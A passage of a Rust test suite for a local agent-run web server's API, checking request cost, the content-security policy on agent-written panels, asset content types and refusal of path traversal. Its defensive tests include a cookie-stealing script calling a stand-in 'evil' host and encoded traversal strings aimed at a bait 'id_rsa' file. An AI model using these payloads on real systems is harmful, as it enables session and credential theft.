11763            "history":{base:base_evidence, head.clone():evidence}, "phase":"evicted"
11764        });
11765        std::fs::write(
11766            fx.runs()
11767                .join(&state.id)
11768                .join("artifacts/eviction-review-1.json"),
11769            serde_json::to_vec(&record).unwrap(),
11770        )
11771        .unwrap();
11772        std::fs::remove_dir_all(&repo).unwrap();
11773        let url = format!("/api/runs/{}/seat-evidence", state.id);
11774        let list = fx.get(&url).await;
11775        assert_eq!(list.status, 200, "{}", list.body);
11776        assert_eq!(list.json()[&head], "review-1");
11777        let patch = fx.get(&format!("{url}/{head}")).await;
11778        assert_eq!(patch.status, 200, "{}", patch.body);
11779        assert!(patch.body.contains("+archived review"));
11780        assert_eq!(fx.get(&format!("{url}/unknown")).await.status, 404);
11781        std::fs::write(evidence.join("objects.pack"), "corrupt").unwrap();
11782        assert_eq!(fx.get(&url).await.status, 404);
11783        assert_eq!(fx.get(&format!("{url}/{head}")).await.status, 404);
11784    }
11785
11786    fn request_counts(res: &Res) -> (usize, usize) {
11787        assert_eq!(res.status, 200, "{}", res.body);
11788        (
11789            res.header("x-test-discoveries").unwrap().parse().unwrap(),
11790            res.header("x-test-git").unwrap().parse().unwrap(),
11791        )
11792    }
11793
11794    #[tokio::test]
11795    async fn list_request_cost_is_independent_of_record_count() {
11796        let (_tmp, repos, fx) = performance_fixture().await;
11797        let mut previous = None;
11798        for n in [4, 60] {
11799            seed_performance(&fx, &repos, n, n, n);
11800            let mut costs = Vec::new();
11801            for (path, discoveries) in [
11802                ("/api/questions", 1),
11803                ("/api/talks", 0),
11804                ("/api/health", 0),
11805                ("/api/stats", 1),
11806            ] {
11807                // Equal cold extraction caches at both scales; this also
11808                // bounds first-request cost instead of only warmed requests.
11809                for repo in &repos {
11810                    let cache = repo.join(".git/magi/config");
11811                    if cache.exists() {
11812                        std::fs::remove_dir_all(cache).unwrap();
11813                    }
11814                }
11815                let cost = request_counts(&fx.get(path).await);
11816                eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
11817                assert_eq!(cost.0, discoveries, "{path}, N={n}");
11818                assert!(
11819                    cost.1 <= 40 && (discoveries == 0 || cost.1 > 0),
11820                    "{path}: {cost:?}"
11821                );
11822                costs.push(cost);
11823            }
11824            if let Some(previous) = previous {
11825                assert_eq!(costs, previous);
11826            }
11827            previous = Some(costs);
11828        }
11829        // runs reads shared row inputs and probes process liveness; queue
11830        // builds one blocker inventory; notifications reads its own store.
11831        // None discovers configuration or spawns git per item.
11832    }
11833
11834    /// The same handler path without transport, so the deterministic cause
11835    /// can also be checked in environments that prohibit binding sockets.
11836    #[tokio::test]
11837    async fn list_handler_cost_without_transport() {
11838        let (_tmp, repos) = performance_repositories().await;
11839        let fx = Fixture {
11840            home: TempDir::new().unwrap(),
11841            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11842        };
11843        let ui = Arc::new(
11844            Ui::new(
11845                fx.queue(),
11846                fx.questions(),
11847                fx.talks(),
11848                fx.runs(),
11849                fx.home.path().to_path_buf(),
11850                repos[0].clone(),
11851            )
11852            .with_worktrees_root(fx.home.path().join("wt")),
11853        );
11854        let mut previous = None;
11855        for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
11856            seed_performance(&fx, &repos, n, runs, items);
11857            let mut costs = Vec::new();
11858            for endpoint in ["questions", "talks", "health", "stats"] {
11859                for repo in &repos {
11860                    let cache = repo.join(".git/magi/config");
11861                    if cache.exists() {
11862                        std::fs::remove_dir_all(cache).unwrap();
11863                    }
11864                }
11865                let (_, cost) = request_cost::measure(async {
11866                    match endpoint {
11867                        "questions" => {
11868                            let _ = questions_list(State(ui.clone())).await.unwrap();
11869                        }
11870                        "talks" => {
11871                            let _ = talks_list(
11872                                State(ui.clone()),
11873                                Query(ListQuery {
11874                                    limit: None,
11875                                    ids: None,
11876                                }),
11877                                header::HeaderMap::new(),
11878                            )
11879                            .await
11880                            .unwrap();
11881                        }
11882                        "health" => {
11883                            let _ = health(State(ui.clone())).await.unwrap();
11884                        }
11885                        _ => {
11886                            let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
11887                                .await
11888                                .unwrap();
11889                        }
11890                    }
11891                })
11892                .await;
11893                eprintln!("{endpoint} handler N={n}: {cost:?}");
11894                assert_eq!(
11895                    cost.0,
11896                    if matches!(endpoint, "talks" | "health") {
11897                        0
11898                    } else {
11899                        1
11900                    },
11901                    "{endpoint}"
11902                );
11903                assert!(
11904                    cost.1 <= 40 && (matches!(endpoint, "talks" | "health") || cost.1 > 0),
11905                    "{endpoint}: {cost:?}"
11906                );
11907                costs.push(cost);
11908            }
11909            if let Some(previous) = previous {
11910                assert_eq!(costs, previous);
11911            }
11912            previous = Some(costs);
11913        }
11914    }
11915
11916    #[tokio::test]
11917    async fn list_request_cost_scopes_do_not_mix() {
11918        let (_tmp, repos, fx) = performance_fixture().await;
11919        seed_performance(&fx, &repos, 10, 0, 10);
11920        let (questions, talks, notices) = tokio::join!(
11921            fx.get("/api/questions"),
11922            fx.get("/api/talks"),
11923            fx.get("/api/notifications")
11924        );
11925        assert_eq!(request_counts(&questions).0, 1);
11926        // Cached summaries perform no config discovery or git work, even
11927        // alongside the questions request that still discovers config.
11928        assert_eq!(request_counts(&talks), (0, 0));
11929        assert_eq!(request_counts(&notices), (0, 0));
11930    }
11931
11932    #[tokio::test]
11933    async fn list_endpoints_large_home_responses() {
11934        check_large_home_endpoints(false).await;
11935    }
11936
11937    #[tokio::test]
11938    #[ignore = "local wall-clock performance measurement; see docs/web-responsiveness.md"]
11939    async fn list_endpoints_large_home_ceiling() {
11940        check_large_home_endpoints(true).await;
11941    }
11942
11943    async fn check_large_home_endpoints(timed: bool) {
11944        let (_tmp, repos, fx) = performance_fixture().await;
11945        seed_performance(&fx, &repos, 200, 300, 400);
11946        let mut failures = Vec::new();
11947        // app.js boot/change loads plus the initial dashboard, settings and
11948        // repo picker. SSE is a persistent stream, not a bounded GET.
11949        for path in [
11950            "/",
11951            "/app.js",
11952            "/app.css",
11953            "/api/questions",
11954            "/api/runs?limit=300",
11955            "/api/queue",
11956            "/api/talks",
11957            "/api/notifications",
11958            "/api/health",
11959            "/api/stats",
11960            "/api/loop",
11961            "/api/settings",
11962            "/api/repos",
11963        ] {
11964            let start = std::time::Instant::now();
11965            let result = if timed {
11966                tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await
11967            } else {
11968                Ok(fx.get(path).await)
11969            };
11970            let elapsed = start.elapsed();
11971            eprintln!("{path}: {elapsed:?}");
11972            match result {
11973                Ok(res) if res.status == 200 && (!timed || elapsed <= Duration::from_secs(5)) => {}
11974                Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
11975                Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
11976            }
11977        }
11978        assert!(failures.is_empty(), "{}", failures.join("\n"));
11979    }
11980
11981    struct Res {
11982        status: u16,
11983        headers: String,
11984        /// The header block with its original casing, for the assertions that
11985        /// compare a header *value* rather than looking for a name. Lowercasing
11986        /// a CSP would hide a directive spelled with a capital letter, and the
11987        /// whole point of that test is that the string is exactly right.
11988        head: String,
11989        body: String,
11990        /// The body before any UTF-8 handling, for the routes that serve
11991        /// something other than text. A panel asset is a PNG as often as not,
11992        /// and `from_utf8_lossy` would silently replace half of it.
11993        bytes: Vec<u8>,
11994    }
11995
11996    impl Res {
11997        fn json(&self) -> Value {
11998            serde_json::from_str(&self.body)
11999                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
12000        }
12001
12002        /// One header's value verbatim, or `None` when it was not sent.
12003        fn header(&self, name: &str) -> Option<&str> {
12004            self.head.lines().find_map(|line| {
12005                let (key, value) = line.split_once(':')?;
12006                key.trim()
12007                    .eq_ignore_ascii_case(name)
12008                    .then(|| value.trim_start().trim_end_matches('\r'))
12009            })
12010        }
12011    }
12012
12013    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
12014    /// be read to end-of-stream without parsing framing.
12015    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
12016        request_with(addr, method, path, body, &[]).await
12017    }
12018
12019    /// As [`request`], with extra request headers - conditional GETs need
12020    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
12021    /// worse than one that sets none.
12022    async fn request_with(
12023        addr: SocketAddr,
12024        method: &str,
12025        path: &str,
12026        body: Option<&str>,
12027        extra: &[(&str, &str)],
12028    ) -> Res {
12029        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
12030        for (name, value) in extra {
12031            head.push_str(&format!("{name}: {value}\r\n"));
12032        }
12033        if let Some(body) = body {
12034            head.push_str("Content-Type: application/json\r\n");
12035            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
12036        }
12037        head.push_str("\r\n");
12038        if let Some(body) = body {
12039            head.push_str(body);
12040        }
12041        let mut socket = tokio::net::TcpStream::connect(addr)
12042            .await
12043            .expect("connect to the test server");
12044        socket
12045            .write_all(head.as_bytes())
12046            .await
12047            .expect("write request");
12048        let mut raw = Vec::new();
12049        socket.read_to_end(&mut raw).await.expect("read response");
12050        // Split on the raw bytes rather than on a lossy string, so a binary
12051        // body survives to be compared byte for byte.
12052        let split = raw
12053            .windows(4)
12054            .position(|w| w == b"\r\n\r\n")
12055            .expect("a header block");
12056        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
12057        let bytes = raw[split + 4..].to_vec();
12058        let status = head
12059            .lines()
12060            .next()
12061            .and_then(|line| line.split_whitespace().nth(1))
12062            .and_then(|code| code.parse().ok())
12063            .expect("a status line");
12064        Res {
12065            status,
12066            headers: head.to_lowercase(),
12067            head,
12068            body: String::from_utf8_lossy(&bytes).into_owned(),
12069            bytes,
12070        }
12071    }
12072
12073    /// A `POST` carrying a raw binary body and its own headers, for the
12074    /// attachment upload route - `request_with` only ever sends
12075    /// `Content-Type: application/json`, which is wrong for an image and
12076    /// would corrupt anything not valid UTF-8 by round-tripping it through
12077    /// `&str` first.
12078    async fn request_bytes(
12079        addr: SocketAddr,
12080        path: &str,
12081        headers: &[(&str, &str)],
12082        body: &[u8],
12083    ) -> Res {
12084        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
12085        for (name, value) in headers {
12086            head.push_str(&format!("{name}: {value}\r\n"));
12087        }
12088        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
12089        let mut socket = tokio::net::TcpStream::connect(addr)
12090            .await
12091            .expect("connect to the test server");
12092        socket
12093            .write_all(head.as_bytes())
12094            .await
12095            .expect("write request head");
12096        socket.write_all(body).await.expect("write request body");
12097        let mut raw = Vec::new();
12098        socket.read_to_end(&mut raw).await.expect("read response");
12099        let split = raw
12100            .windows(4)
12101            .position(|w| w == b"\r\n\r\n")
12102            .expect("a header block");
12103        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
12104        let bytes = raw[split + 4..].to_vec();
12105        let status = head
12106            .lines()
12107            .next()
12108            .and_then(|line| line.split_whitespace().nth(1))
12109            .and_then(|code| code.parse().ok())
12110            .expect("a status line");
12111        Res {
12112            status,
12113            headers: head.to_lowercase(),
12114            head,
12115            body: String::from_utf8_lossy(&bytes).into_owned(),
12116            bytes,
12117        }
12118    }
12119
12120    /// A run on disk, without touching the process-global magi home.
12121    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
12122        let mut state = RunState::new(
12123            PathBuf::from("/repo/magi"),
12124            "main".to_owned(),
12125            "0123456789abcdef".to_owned(),
12126            "Add a web UI\n\nMobile first.".to_owned(),
12127            Config::default(),
12128        );
12129        state.id = id.to_owned();
12130        state.status = status;
12131        let dir = runs.join(id);
12132        std::fs::create_dir_all(&dir).expect("run dir");
12133        std::fs::write(
12134            dir.join("run.json"),
12135            serde_json::to_string_pretty(&state).expect("serialize run"),
12136        )
12137        .expect("write run.json");
12138    }
12139
12140    /// Same as [`write_run`], but against a named repository rather than the
12141    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
12142    /// spread across more than one.
12143    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
12144        let mut state = RunState::new(
12145            PathBuf::from(repo),
12146            "main".to_owned(),
12147            "0123456789abcdef".to_owned(),
12148            "task".to_owned(),
12149            Config::default(),
12150        );
12151        state.id = id.to_owned();
12152        state.status = status;
12153        let dir = runs.join(id);
12154        std::fs::create_dir_all(&dir).expect("run dir");
12155        std::fs::write(
12156            dir.join("run.json"),
12157            serde_json::to_string_pretty(&state).expect("serialize run"),
12158        )
12159        .expect("write run.json");
12160    }
12161
12162    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
12163        let body = serde_json::json!({
12164            "schema": 1,
12165            "pid": 4242,
12166            "started_at": Timestamp::now().to_string(),
12167            "updated_at": updated_at.to_string(),
12168            "idle": false,
12169            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
12170            "completed": 7,
12171            "polls": 143,
12172        });
12173        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
12174    }
12175
12176    /// A loop that starts, finds nothing to do, and waits to be told to stop.
12177    ///
12178    /// No test in this file may start the real loop - see [`Ui::launch`] for
12179    /// why - so this stands in for the only thing the routes need a loop to
12180    /// do: keep running until `Stop` is set, then return. A real
12181    /// `serve_until` here would resolve its queue and its status file through
12182    /// the process-global magi home, claim whatever it found in the
12183    /// operator's live backlog, overwrite the status file of the `magi serve`
12184    /// that owns it, and spend real agent quota on a real competition.
12185    fn launch_idle(
12186        _opts: daemon::Opts,
12187        stop: daemon::Stop,
12188    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
12189        Box::pin(async move {
12190            while !stop.stopped() {
12191                tokio::time::sleep(Duration::from_millis(2)).await;
12192            }
12193            Ok(())
12194        })
12195    }
12196
12197    /// A loop that fails on the way up, the way one whose home has gone
12198    /// read-only does.
12199    fn launch_broken(
12200        _opts: daemon::Opts,
12201        _stop: daemon::Stop,
12202    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
12203        // The stand-in dies instantly, so a restarted one can record its own
12204        // failure before the start's response is read. The second attempt
12205        // therefore fails with a different message, to tell a stale error
12206        // from a fresh one.
12207        static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
12208        let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
12209        Box::pin(async move {
12210            Err(anyhow::anyhow!(if first {
12211                "publish the daemon status file: read-only file system"
12212            } else {
12213                "the restarted stand-in failed as well"
12214            }))
12215        })
12216    }
12217
12218    /// The loop view once `want` accepts it.
12219    ///
12220    /// Polled rather than asserted straight after the POST because stopping
12221    /// is deliberately not instant - that is the contract - and rather than
12222    /// slept through because a fixed wait is either flaky or slow.
12223    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
12224    /// finite, so a genuine hang fails the test instead of hanging the
12225    /// suite.
12226    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
12227        for _ in 0..SETTLE_STEPS {
12228            let view = fx.get("/api/loop").await.json();
12229            if want(&view) {
12230                return view;
12231            }
12232            tokio::time::sleep(Duration::from_millis(10)).await;
12233        }
12234        panic!(
12235            "the loop never settled: {}",
12236            fx.get("/api/loop").await.json()
12237        );
12238    }
12239
12240    /// File an open question directly in the store the server reads.
12241    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
12242        let store = fx.questions();
12243        let mut q = Question::new(
12244            "20260902-000000-beef".to_owned(),
12245            "implement".to_owned(),
12246            "impl-A".to_owned(),
12247            summary.to_owned(),
12248            "because it matters".to_owned(),
12249            choices.iter().map(|c| (*c).to_owned()).collect(),
12250        );
12251        store.put(&mut q).expect("put question");
12252        q.id
12253    }
12254
12255    /// A question with a panel the server can serve, plus the named assets.
12256    ///
12257    /// Written through `Questions::put_panel` rather than by laying out the
12258    /// directory here, so these tests exercise the same on-disk shape the
12259    /// agents produce and cannot pass against a layout only the tests know.
12260    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
12261        let store = fx.questions();
12262        let mut q = Question::new(
12263            "20260902-000000-beef".to_owned(),
12264            "land".to_owned(),
12265            "fix".to_owned(),
12266            "Merge this?".to_owned(),
12267            "the diff is in the panel".to_owned(),
12268            vec!["merge".to_owned(), "hold".to_owned()],
12269        );
12270        // Staged outside the questions root, because `put_panel` copies from
12271        // wherever the agent left its files.
12272        let staging = fx.home.path().join("staging");
12273        std::fs::create_dir_all(&staging).expect("staging dir");
12274        let sources: Vec<PathBuf> = assets
12275            .iter()
12276            .map(|(name, bytes)| {
12277                let path = staging.join(name);
12278                std::fs::write(&path, bytes).expect("write staged asset");
12279                path
12280            })
12281            .collect();
12282        store
12283            .put_panel(&mut q, html, &sources)
12284            .expect("write the panel");
12285        store.put(&mut q).expect("put question");
12286        q.id
12287    }
12288
12289    /// A talk on disk, without talking to a model.
12290    ///
12291    /// Written as JSON straight into the store the server reads, because the
12292    /// only constructor `talk::begin` offers takes no turn but still requires
12293    /// a real caller-visible flow. The one thing this cannot make up is the
12294    /// seat, so it is built with the real `SeatState::new` and serialized -
12295    /// the alternative, hand-writing that object, would make these tests fail
12296    /// the day the seat gains a field.
12297    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
12298        seed_talk_at(&fx.talks(), id, status)
12299    }
12300
12301    fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
12302        std::fs::create_dir_all(store.root()).expect("talks dir");
12303        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
12304            .expect("serialize a seat");
12305        let body = serde_json::json!({
12306            "schema": 1,
12307            "id": id,
12308            "repo": "/repo/magi",
12309            "agent": "mock",
12310            "status": status,
12311            "turns": [],
12312            "created_at": Timestamp::now().to_string(),
12313            "updated_at": Timestamp::now().to_string(),
12314            "seat": seat,
12315        });
12316        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
12317        store.get(id).expect("the seeded talk has to be readable");
12318        id.to_owned()
12319    }
12320
12321    #[tokio::test]
12322    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
12323        let fx = Fixture::start().await;
12324        let id = panel(
12325            &fx,
12326            "<h1>Merge?</h1><img src=\"diff.svg\">",
12327            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
12328        );
12329
12330        for path in [
12331            format!("/api/questions/{id}/panel"),
12332            format!("/api/questions/{id}/asset/diff.svg"),
12333        ] {
12334            let res = fx.get(&path).await;
12335            assert_eq!(res.status, 200, "{path}: {}", res.body);
12336            // The whole string, not a substring. A weakened directive - an
12337            // `img-src *` that lets a panel beacon out to a remote host, a
12338            // `script-src` anything, a missing `form-action` that lets it post
12339            // the owner's decision to a third party - has to fail here, and a
12340            // `contains` assertion would let every one of those through.
12341            assert_eq!(
12342                res.header("content-security-policy"),
12343                Some(
12344                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
12345                     font-src data:; base-uri 'none'; form-action 'none'; \
12346                     frame-ancestors 'self'"
12347                ),
12348                "{path} is the only thing between a hostile panel and the tailnet"
12349            );
12350            assert_eq!(
12351                res.header("x-content-type-options"),
12352                Some("nosniff"),
12353                "{path}: a browser must not re-decide the type we sent"
12354            );
12355            assert_eq!(
12356                res.header("referrer-policy"),
12357                Some("no-referrer"),
12358                "{path}: a panel must not leak the question id off the machine"
12359            );
12360
12361            // The front end mounts the frame only after a `HEAD` says the
12362            // panel is there, so `HEAD` has to answer with the same status and
12363            // the same policy as `GET` - a preflight that came back without
12364            // the CSP would mean a frame mounted on an unverified promise.
12365            let pre = fx.head(&path).await;
12366            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
12367            assert_eq!(
12368                pre.header("content-security-policy"),
12369                res.header("content-security-policy"),
12370                "{path}: the preflight carries the same policy"
12371            );
12372            assert_eq!(
12373                pre.header("content-type"),
12374                res.header("content-type"),
12375                "{path}: the preflight carries the same type"
12376            );
12377        }
12378    }
12379
12380    #[tokio::test]
12381    async fn a_panel_reaches_the_browser_byte_for_byte() {
12382        let fx = Fixture::start().await;
12383        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
12384        // tag, an entity, and a multi-byte character. The sandbox is what makes
12385        // this safe, so nothing here may be rewritten on the way out - a
12386        // rewritten diff is a diff the owner cannot trust.
12387        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
12388        let id = panel(&fx, html, &[]);
12389
12390        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
12391
12392        assert_eq!(res.status, 200);
12393        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
12394        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
12395        assert_eq!(
12396            res.header("content-disposition"),
12397            None,
12398            "the panel itself is rendered in the frame, not downloaded"
12399        );
12400    }
12401
12402    #[tokio::test]
12403    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
12404        let fx = Fixture::start().await;
12405        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
12406        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
12407        let id = panel(
12408            &fx,
12409            "<img src=\"diff.svg\"><img src=\"shot.png\">",
12410            &[("diff.svg", svg), ("shot.png", png)],
12411        );
12412
12413        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
12414        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
12415
12416        assert_eq!(as_svg.status, 200);
12417        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
12418        // An SVG is XML that may carry script. Inside the panel it is an
12419        // `<img src>` and the script cannot run; opened at the top level it
12420        // would be a document on magi's own origin, so the browser is told to
12421        // download it instead of rendering it.
12422        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
12423
12424        assert_eq!(as_png.status, 200);
12425        assert_eq!(as_png.header("content-type"), Some("image/png"));
12426        assert_eq!(
12427            as_png.header("content-disposition"),
12428            None,
12429            "a raster image has no execution surface, so tapping it still shows it"
12430        );
12431        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
12432    }
12433
12434    #[tokio::test]
12435    async fn an_html_asset_is_never_served_as_html() {
12436        let fx = Fixture::start().await;
12437        let id = panel(
12438            &fx,
12439            "<p>see the notes</p>",
12440            &[
12441                (
12442                    "notes.html",
12443                    b"<script>fetch('http://evil/'+document.cookie)</script>",
12444                ),
12445                ("hook.js", b"fetch('http://evil/')"),
12446                ("data.json", b"{}"),
12447                ("HEADLINE.TXT", b"plain"),
12448            ],
12449        );
12450
12451        for name in ["notes.html", "hook.js", "data.json"] {
12452            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
12453            assert_eq!(res.status, 200, "{name}: {}", res.body);
12454            // Serving this as text/html would be a way to reach agent markup
12455            // at the top level of the operator's browser, outside the frame's
12456            // sandbox and outside its CSP - which is the whole thing the panel
12457            // design exists to prevent. Unlisted types are downloads.
12458            assert_eq!(
12459                res.header("content-type"),
12460                Some("application/octet-stream"),
12461                "{name} must not be a type the browser will execute or render"
12462            );
12463        }
12464        // The whitelist is matched case-insensitively, so an agent shouting the
12465        // extension still gets a readable file rather than a download.
12466        let txt = fx
12467            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
12468            .await;
12469        assert_eq!(
12470            txt.header("content-type"),
12471            Some("text/plain; charset=utf-8")
12472        );
12473    }
12474
12475    #[tokio::test]
12476    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
12477        let fx = Fixture::start().await;
12478        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
12479        // Something outside the panel directory that a traversal would reach if
12480        // one got through, so a passing test is not merely "the file was
12481        // missing anyway".
12482        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
12483
12484        // Decoded before this server's handler sees them: axum percent-decodes
12485        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
12486        // string with a NUL in it. All three look like ordinary single-segment
12487        // filenames to the router, so the router passes them through and
12488        // `valid_asset_name` is what refuses them - for the literal `..`, and
12489        // for `/`, `\` and NUL not being in the permitted character set.
12490        for encoded in [
12491            "%2e%2e%2fid_rsa",
12492            "..%2fid_rsa",
12493            "..%5cid_rsa",
12494            "%2e%2e%5cid_rsa",
12495            "diff%00.svg",
12496            "..",
12497            ".hidden",
12498            "%2e%2e%2f%2e%2e%2fid_rsa",
12499        ] {
12500            let res = fx
12501                .get(&format!("/api/questions/{id}/asset/{encoded}"))
12502                .await;
12503            assert_eq!(
12504                res.status, 400,
12505                "`{encoded}` has to be refused by name, not looked up: {}",
12506                res.body
12507            );
12508            assert!(res.json()["error"].is_string(), "{}", res.body);
12509        }
12510
12511        // Not decoded, and never this handler's problem: a real slash makes the
12512        // request one segment too long for `/api/questions/{id}/asset/{name}`,
12513        // so axum's router has no route to match and answers before any code
12514        // here runs. Asserted so that a future route with a wildcard segment
12515        // cannot quietly open this door.
12516        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
12517            let res = fx
12518                .get(&format!("/api/questions/{id}/asset/{literal}"))
12519                .await;
12520            assert_eq!(
12521                res.status, 404,
12522                "`{literal}` must not match the asset route at all: {}",
12523                res.body
12524            );
12525        }
12526    }
12527
12528    #[tokio::test]
12529    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
12530        let fx = Fixture::start().await;
12531        let plain = ask(&fx, "Which backend?", &["SQLite"]);
12532        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
12533
12534        // A question nobody wrote a panel for. The client preflights with HEAD
12535        // and cannot see inside a sandboxed frame, so this must be a status and
12536        // not an empty page.
12537        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
12538        assert_eq!(none.status, 404, "{}", none.body);
12539        assert!(none.json()["error"].is_string(), "{}", none.body);
12540        assert_eq!(
12541            fx.head(&format!("/api/questions/{plain}/panel"))
12542                .await
12543                .status,
12544            404,
12545            "the preflight is the only way the client can learn this"
12546        );
12547
12548        // A name that is perfectly legal and simply is not there.
12549        let missing = fx
12550            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
12551            .await;
12552        assert_eq!(missing.status, 404, "{}", missing.body);
12553        assert!(missing.json()["error"].is_string(), "{}", missing.body);
12554
12555        // A question that does not exist at all, on both routes.
12556        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
12557        assert_eq!(
12558            fx.get("/api/questions/nope/asset/diff.svg").await.status,
12559            404
12560        );
12561    }
12562
12563    #[tokio::test]
12564    async fn a_run_with_an_open_question_reads_as_waiting() {
12565        let fx = Fixture::start().await;
12566        let run = "20260902-000000-beef".to_owned();
12567        write_run(&fx.runs(), &run, RunStatus::Implementing);
12568
12569        let before = fx.get("/api/runs").await.json();
12570        assert_eq!(before[0]["waiting"], false, "{before}");
12571
12572        let store = fx.questions();
12573        let mut q = Question::new(
12574            run.clone(),
12575            "implement".to_owned(),
12576            "impl-A".to_owned(),
12577            "Which backend?".to_owned(),
12578            String::new(),
12579            vec!["SQLite".to_owned()],
12580        );
12581        store.put(&mut q).expect("put");
12582
12583        let during = fx.get("/api/runs").await.json();
12584        assert_eq!(during[0]["waiting"], true, "{during}");
12585
12586        // Answered: the run is moving again, and the flag has to follow without
12587        // anything having rewritten run.json.
12588        q.answer(Answer::Choice("SQLite".to_owned()))
12589            .expect("answer");
12590        store.put(&mut q).expect("put");
12591        let after = fx.get("/api/runs").await.json();
12592        assert_eq!(after[0]["waiting"], false, "{after}");
12593    }
12594
12595    #[tokio::test]
12596    async fn an_open_question_is_listed_and_counted_by_health() {
12597        let fx = Fixture::start().await;
12598        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
12599
12600        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12601        let listed = fx.get("/api/questions").await.json();
12602        assert_eq!(listed.as_array().expect("array").len(), 1);
12603        assert_eq!(listed[0]["id"], id);
12604        assert_eq!(listed[0]["status"], "open");
12605        assert_eq!(listed[0]["choices"][1], "Redis");
12606        // The count is what makes the phone's indicator honest: it is the one
12607        // number meaning nothing will move until a human acts.
12608        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12609    }
12610
12611    fn obsolete_approval_state() -> RunState {
12612        let mut state = crate::land::tests::repair_state(true, true);
12613        state.pr = Some(crate::run::PrRecord {
12614            url: "https://github.com/example/repo/pull/42".into(),
12615            number: 42,
12616            state: "open".into(),
12617            checks: "green".into(),
12618            round: 1,
12619            rounds: 4,
12620            red_at_merge: Vec::new(),
12621        });
12622        state
12623    }
12624
12625    #[tokio::test]
12626    async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
12627        for owner in ["missing", "current", "completed", "later"] {
12628            let fx = Fixture {
12629                home: TempDir::new().unwrap(),
12630                addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12631            };
12632            let mut state = obsolete_approval_state();
12633            state.status = RunStatus::Landing;
12634            state.parked = true;
12635            state.driver_exited = true;
12636            let mut q = Question::new(
12637                state.id.clone(),
12638                crate::land::APPROVAL_NODE.into(),
12639                "land".into(),
12640                "Old approval".into(),
12641                "Original evidence".into(),
12642                vec!["merge".into(), "hold".into()],
12643            );
12644            state.land_approval = Some(crate::run::LandApproval {
12645                question: q.id.clone(),
12646                head: "head".into(),
12647            });
12648            state.save_under(fx.home.path()).unwrap();
12649            let stale = state.clone();
12650            fx.questions().put(&mut q).unwrap();
12651            let mut task = Task::new(
12652                "Owner".into(),
12653                "Original instruction".into(),
12654                state.repo.clone(),
12655                Source::Human,
12656            );
12657            task.runs.push(state.id.clone());
